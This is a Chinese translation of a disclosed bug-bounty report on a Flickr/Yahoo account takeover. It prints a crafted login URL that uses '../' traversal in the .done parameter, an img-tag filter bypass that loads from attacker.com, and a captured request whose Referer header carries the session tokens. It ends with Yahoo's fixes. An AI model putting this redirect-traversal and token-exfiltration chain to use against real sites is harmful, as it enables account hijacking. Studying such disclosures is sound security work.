Flickr是雅虎旗下提供照片和视频储存、分享的平台网站,官网是flickr.com。
这篇文章要说的是如何处理Flickr的身份验证,并请求login.yahoo.com获取用户的访问令牌。
当用户想要登录Flickr.com时, 他需要点击一个登录按钮,这个登录按钮会将页面其重定向到以下url:
https://login.yahoo.com/config/login?.src=flickrsignin&.pc=8190&.scrumb=0&.pd= c%3DH6T9XcS72e4mRnW3NpTAiU8ZkA--&.intl=il&.lang=en&mg=1&.done=https% 3A%2F%2F login.yahoo.com%2Fconfig%2Fvalidate%3F.src%3Dflickrsignin%26.pc%3D8190%26.s crumb%3D0%26.pd%3Dc%253DJvVF95K62e6PzdPu7MBv2V8-%26.intl%3Dil%26.done %3Dht tps%253A%252F%252Fwww.flickr.com%252Fsignin%252Fyahoo%252F%253Fredir%253Dht tps%25253A%25252F%25252Fwww.flickr.com%25252F
这是Yahoo的帐户登录页面,用户被提示输入他的凭据。填写完账号密码表单并单击登录后,用户被重定向到了雅虎端点,在其端点上验证他的凭据,然后如果它们有效,则将其重定向到以下Flickr url:
https://www.flickr.com/signin/yahoo/?redir=https%3A%2F%2Fwww.flickr.com%2F&.d ata={first-token-value}&.ys={second-token-value }
现在发生的情况是,它的Flickr后台会在Yahoo验证服务器里面针对验证.ys
和.data
参数,并记录用户参数。
所以,如果用户已经登录到Yahoo并点击初始链接:
https://login.yahoo.com/config/login?.src=flickrsignin&.pc=8190&.scrumb=0&.pd= c%3DH6T9XcS72e4mRnW3NpTAiU8ZkA--&.intl=il&.lang=en&mg=1&.done=https% 3A%2F%2F login.yahoo.com%2Fconfig%2Fvalidate%3F.src%3Dflickrsignin%26.pc%3D8190%26.s crumb%3D0%26.pd%3Dc%253DJvVF95K62e6PzdPu7MBv2V8-%26.intl%3Dil%26.done %3Dht tps%253A%252F%252Fwww.flickr.com%252Fsignin%252Fyahoo%252F%253Fredir%253Dht tps%25253A%25252F%25252Fwww.flickr.com%25252F
这个过程只是在后台发生,而不需要用户在Yahoo中输入他的登录凭证,这导致了严重的账户接管风险,因为用户只需点击单个链接(如在某些OAuth实现里面)来进行身份验证,这样他就可以进行身份验证了。知道了这一点,我开始寻找绕过这个流程的方法。
我注意到的第一件事是我们可以修改第二个.done参数。该参数实际上控制了登录令牌的发送位置。看来雅虎的服务器只通过https://www.flickr.com/signin/yahoo/to头来验证,但是我们仍然可以附加../
参数上去,
所以如果我们将../../test
附加到.done
的原始值上,则.ys
和.data
令牌将被发送到https://www.flickr.com/test端点。
所以,这给了我们一个方向,因为如果我们在https://www.flickr.com/上找到一个开放的重定向位置,我们将能够将令牌发送到我们自己的服务器。但是,我没有在主域上找到任何一个可以重定向的地方。 所以,我只能寻找其他方法来窃取令牌了。
经过一番挖掘,我遇到了这个页面:
https://www.flickr.com/html.gne?tighten=0&type=comment
其页面中指出图像可以嵌入在不同Flickr页面的评论中。我觉得也许可以在评论中发布一个外部图像,通过引荐的来源字段来窃取令牌到我们的服务器上,因为它们仍然在登录的网址上。所以我发表了一个关于我自己上传的图像的评论与以下内容:
/ img src =“https://attacker.com/someimage.jpg”/>
该图像果然嵌入了评论中,但不幸的是雅虎正在将其src值更改为:
https://ec.yimg.com/ec?url=https://attacker.com/someimage.jpg&t=1491136241&sig=FGQiNHDOtEj7LQDBbYBnwA-~C
这实际上是一个内部的Yahoo代理,所以Flickr不会将请求泄露给外部服务器。但我们可以使用一些浏览器技巧,我们修改Flickr图像处理逻辑。并发布以下评论:
<img src=”\/\/www.attacker.com/someimage.jpg” />
该注释没有被代理修改,并且src 值保持原样。那么现在应该发生的是,图像将在照片的注释部分显示,对吧?不,浏览器也将此接受为有效的URL,因此有一些内容安全策略被应用为:
Content-Security-Policy: img-src data: blob: https://*.flickr.com https://*.flickr.net http://*.flic kr.net https://*.staticflickr.com http://*.staticflickr.com https://*.yimg.com https://*.yahoo.com ht tps://*.cedexis.com https://*.cedexis-test.com https://*.cedexis-radar.net https://sb.scorecardresear ch.com https://image.maps.api.here.com https://csync.yahooapis.com https://*.paypal.com https://*.pin terest.com http://*.static-alpha.flickr.com https://geo-um.btrll.com https://connect.facebook.net htt ps://*.facebook.com https://bs.serving-sys.com https://*.adserver.yahoo.com https://*.maps.api.here.c om https://*.maps.cit.api.here.com https://*.ads.yahoo.com https://secure.footprint.net;
在IMG-SRC配置中它被阻止了,因为它不在白名单上,所以我本来就不能嵌入外部图像。
理解了这一点,我尝试查看Flickr上是否有其他端点也允许评论。过了一段时间,我遇到了论坛页面:https://www.flickr.com/help/forum/en-us/。看来这个页面还支持html嵌入功能的评论。更重要的是,似乎CSP没有应用于所有https://www.flickr.com/help/forum/*
页面。
所以我在论坛的帖子上发布了以下评论:
<img src=”\/\/www.attacker.com/someimage.jpg” />
它成功工作了,一个外部的图像被嵌入到这里:
https://www.flickr.com/help/forum/en-us/72157668446997150/page14/
所以我现在要做的就是构建最终的url,如下所示:
https://login.yahoo.com/config/validate?.src=flickrsignin&.pc=8190&.scrumb=cLI6NPLejY6&.scr umb2=GszxN7PzUWX&.pd=c%3DJvVF95K62e6PzdPu7MBv2V8-&.intl=il&.done=https%3A%2F%2Fwww.flickr.c om%2Fsignin%2Fyahoo%2F..%2F..%2Fhelp%2Fforum%2Fen-us%2F72157668446997150%2Fpage14%2F
当用户点击链接时他会被重定向到https://www.flickr.com/help/forum/en-us/72157668446997150/page14?data={some-token}&.ys={second -token}
,在这里,他的浏览器发生了以下请求:
GET https://www.attacker.com/someimage.jpg HTTP/1.1 Host: www.attacker.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36 Accept: image/webp,image/*,*/*;q=0.8 Referer: https://www.flickr.com/help/forum/en-us/72157668446997150/page14/?.data={some-to ken}&.ys={second-token} Accept-Encoding: gzip, deflate, sdch, br Accept-Language: he-IL,he;q=0.8,en-US;q=0.6,en;q=0.4,es;q=0.2
正如你可以看到Referer字段包含发送到www.attacker.com的令牌。那么攻击者现在要做的就是浏览浏览器中的以下url:
https://www.flickr.com/signin/yahoo/?.data={copied from referer}&.ys={copied from referer}
现在他已经登录到了受害者的账户。
雅虎通过了几个设置来解决这个问题。首先,login.yahoo.com端点上的.done
参数仅允许https://www.flickr.com/signin/yahoo/作为有效值。然后,使用“/ \ / \
”的图像嵌入逻辑旁路也是固定的。最后,现在CSP应用于整个Flickr论坛。
时间线:
*作者:mishre,